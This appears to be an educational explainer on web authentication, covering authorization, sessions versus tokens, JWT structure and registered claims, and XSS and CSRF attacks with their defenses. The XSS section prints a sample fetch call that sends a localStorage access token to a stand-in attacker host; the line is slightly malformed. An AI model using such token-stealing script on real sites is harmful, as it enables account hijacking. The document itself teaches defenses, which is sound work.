Authentication & Authorization

  • The Goal: Identify Verification.
  • The Action: The system challenges the user to prove they are who they claim to be.
  • Common “Factors”: Something you know (Password)
    • Something you have (A physical key, or a code sent to your phone)
    • Something you are (Fingerprint or Face ID)
  • Result: You are “Logged In.”
  • The Goal: Access Control.
  • The Action: The system checks its internal rules to see what an already authenticated person is allowed to see or touch.
  • Common “Rules”:
    • Roles: “Us this user an Admin or a Guest?”
    • Permissions: “Does this user have the edit_billing permission?”
  • Result: You are “Permitted” or “Denied.”

In the early days of the web, every time you clicked a button, the server “forgot” who you were. To fix this, we needed a way for the server t oremember you without making you type your password on every single page. This leads to 2 main ways of “remembering” a user.

  • How it works: When you log in, the server stores your information (a “Session”) in its own memory and gives you a Session ID (usually stored in a Cookie).
  • The Catch: The server has to keep a huge list of everyone who is logged in, if you have millions of users, the server’s memory gets very full.
  • How it works: When you log in, the server (or a service like Auth0) gives you a Token (a piece of digital data).
  • The Benefits: The server doesn’t need to remember you. You carry the token with you. Every time you make a request, you show the token. The server just validates the token’s “signature” to make sure it’s real.

JWT (JSON Web Token) is the industry-standard “ID Card” used by platforms like Auth0. It’s one of the tokens that can be carried by Bearer. Think of a Bearer Token as the envelope, and the JWT (JSON Web Token) as the ID card inside. While a Bearer token can technically be any string of text, JWT has become the industry standard for platforms like Auth0 because it is tamper-proof and carries all the user’s information (claims) right inside the token itself.

A JWT always looks like a long, nonsensical string of characters by 2 dots. It follows this structure: Header.Payload.Signature

  • The Header: Tells the server this is a JWT and which “lock” (algorithm) was used to seal it.
  • The Payload: This is the most important part for you. It contains the actual user data.
  • The Signature: This prevents tampering. If a user changes their “Role” from User to Admin, the signature becomes invalid, and the server rejects it.

A JWT payload can technically be an empty JSON object. However, in a professional environment, you will almost always see some fields to make the token “safe” and “interoperable”. There are 3 types of fields (claims):

  • Registered Claims (The “Standard” 7)
    The spec defines 7 “Reserved” names. They aren’t required, but everyone uses them so that different systems can talk to each other.
    iss (Issuer): Who created the token
    sub (Subject): The User ID.
    aud (Audience): Who is the token meant for?
    exp (Expiration): The “kill date.”
    nbf (Not Before): Don’t accept this token until this specific time.
    iat (Issued At): When it was born.
    – jti (JWT ID): A unique serial number to prevent “replay attacks”.
  • Public Cliams (Common Info)
    These are widely agreed-upon names from the OpenID Connect (OIDC) standard. This is wehre you usually find:
    name, email, picture, given_name.
  • Private Claims (Application Specific)
    These are custom fields you create specifically for your application.

In old systems, the server had to store every “Session ID” in a database. If the database went down, everyone was logged out.

With a JWT Bearer Token, the server doesn’t store anything. It just looks at the token, verifies the Signature, and says: “I trust this data because I signed it myself”. It’s like a passport – the airport doesn’t have a copy of your birth certificate; they just trust the physical passport because it has the official goverment seal.

Because JWTs are self-contained (they carry all the user info), they can get quite large. If you add too many “Claims” (like 50 different user permissions), the string might exceed 4KB. This is exactly why many developers move JWTs out of Cookies and into Local Storage.

The Target: Local Storage & Session Storage.

  • How it works: A hacker finds a way to inject a malicious <script> into your website (maybe through a comment section or a URL parameter).
  • The Theft: Bacause JavaScript has full access to Local Storage, the hacker’s script simply runs fetch('https://hacker.com/steal?token=localStorage.get(Item('access_token'));
  • The defense: Use HttpOnly Cookies. JavaScript literally cannot “see” or “touch” an HttpOnly cookie, so the hacker’s script returns undefined.

The Target: Cookies.

  • How it works: As we discussed, browsers automatically attach cookies to requests. If you are logged into google.com with a cookie, and you visit malicious-site.com, that site can trigger a hidden request to google.com/delete-user. Your browser will “helpfully” attach your login cookie.
  • The Theft: The hacker doesn’t “steal” your token; they “borrow” your identity to perform an action.
  • The Defense: 1. Bearer Tokens in Headers: Since the browser doesn’t automatically attach “Authorization” headers, CSRF fails. 2, SameSite=Strict/Lax: This tells the browser not to send the cookie if the request originated from a different website.